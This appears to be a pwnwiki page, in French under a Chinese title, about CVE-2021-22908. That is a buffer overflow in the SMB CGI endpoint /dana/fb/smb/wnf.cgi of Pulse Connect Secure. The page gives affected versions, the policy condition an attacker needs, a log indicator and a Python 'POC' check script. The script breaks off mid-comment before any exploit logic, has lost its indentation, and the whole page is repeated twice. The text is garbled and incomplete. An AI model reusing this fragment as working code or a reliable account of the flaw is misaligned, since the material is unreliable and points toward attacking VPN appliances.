# CVE-2021-22908 Pulse Connect Secure 任意代碼執行漏洞/fr
==Description de la vulnérabilité==
Étant donné que PCS prend en charge la connexion au partage de fichiers Windows (SMB), la fonction est fournie par des scripts CGI basés sur les bibliothèques Samba 4.5.10 et les applications auxiliaires. Lors de la spécification d’un nom de serveur long pour certaines opérations SMB, l’application smbclt peut se bloquer en raison d’un dépassement de mémoire tampon, selon la longueur du nom de serveur spécifié.
Il a été confirmé que le système PCS 9.1R11.4 présente cette vulnérabilité. Le point de terminaison CGI cible est /dana/fb/smb/wnf.cgi. D’autres points de terminaison CGI peuvent également déclencher cette vulnérabilité.
Si un attaquant ne parvient pas à nettoyer après avoir exploité avec succès cette vulnérabilité, la spécification d’un nom de serveur long peut entraîner les entrées de journal d’événements PCS suivantes :
Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.
Mais pour exploiter cette vulnérabilité, le serveur PCS doit avoir une politique d’accès aux fichiers Windows qui autorise \\* ou une autre politique qui permet à un attaquant de se connecter à n’importe quel serveur. Vous pouvez afficher la politique SMB actuelle en affichant Utilisateur->Politique de ressource->Politique d’accès aux fichiers Windows sur la page de gestion PCS. Les périphériques PCS 9.1R2 et antérieurs utilisent la politique par défaut d’autorisation des connexions à n’importe quel hôte SMB. À partir de la 9.1R3, cette politique a été modifiée de l’autorisation par défaut au rejet par défaut.
Pulse Connect Secure 9.0RX and 9.1RX
==POC==
#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass
parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')
args = parser.parse_args()
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class formvaluefinder(HTMLParser):
def __init__(self, searchval):
super(type (self), self).__init__()
self.searchval = searchval
def handle_starttag(self, tag, attrs):
if tag == 'input':
# We're just looking for form tags
foundelement = False
for attr in attrs:
if(attr[0] == 'name'):
if(attr[1] == self.searchval):
foundelement = True
elif(attr[0] == 'value' and foundelement == True):
self.data = attr[1]
class preauthfinder(HTMLParser):
foundelement = False
def handle_starttag(self, tag, attrs):
if tag == 'textarea':
# We're just looking for
https://short.pwnwiki.org/?c=1NiPen
https://short.pwnwiki.org/?c=2Um6Rb
==Description de la vulnérabilité==
Étant donné que PCS prend en charge la connexion au partage de fichiers Windows (SMB), la fonction est fournie par des scripts CGI basés sur les bibliothèques Samba 4.5.10 et les applications auxiliaires. Lors de la spécification d’un nom de serveur long pour certaines opérations SMB, l’application smbclt peut se bloquer en raison d’un dépassement de mémoire tampon, selon la longueur du nom de serveur spécifié.
Il a été confirmé que le système PCS 9.1R11.4 présente cette vulnérabilité. Le point de terminaison CGI cible est /dana/fb/smb/wnf.cgi. D’autres points de terminaison CGI peuvent également déclencher cette vulnérabilité.
Si un attaquant ne parvient pas à nettoyer après avoir exploité avec succès cette vulnérabilité, la spécification d’un nom de serveur long peut entraîner les entrées de journal d’événements PCS suivantes :
Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.
Mais pour exploiter cette vulnérabilité, le serveur PCS doit avoir une politique d’accès aux fichiers Windows qui autorise \\* ou une autre politique qui permet à un attaquant de se connecter à n’importe quel serveur. Vous pouvez afficher la politique SMB actuelle en affichant Utilisateur->Politique de ressource->Politique d’accès aux fichiers Windows sur la page de gestion PCS. Les périphériques PCS 9.1R2 et antérieurs utilisent la politique par défaut d’autorisation des connexions à n’importe quel hôte SMB. À partir de la 9.1R3, cette politique a été modifiée de l’autorisation par défaut au rejet par défaut.
==Périmètre d’influence==
Pulse Connect Secure 9.0RX and 9.1RX
==POC==
#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass
parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')
args = parser.parse_args()
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class formvaluefinder(HTMLParser):
def __init__(self, searchval):
super(type (self), self).__init__()
self.searchval = searchval
def handle_starttag(self, tag, attrs):
if tag == 'input':
# We're just looking for form tags
foundelement = False
for attr in attrs:
if(attr[0] == 'name'):
if(attr[1] == self.searchval):
foundelement = True
elif(attr[0] == 'value' and foundelement == True):
self.data = attr[1]
class preauthfinder(HTMLParser):
foundelement = False
def handle_starttag(self, tag, attrs):
if tag == 'textarea':
# We're just looking for
==Référence==
https://short.pwnwiki.org/?c=1NiPen
https://short.pwnwiki.org/?c=2Um6Rb













请登录后查看评论内容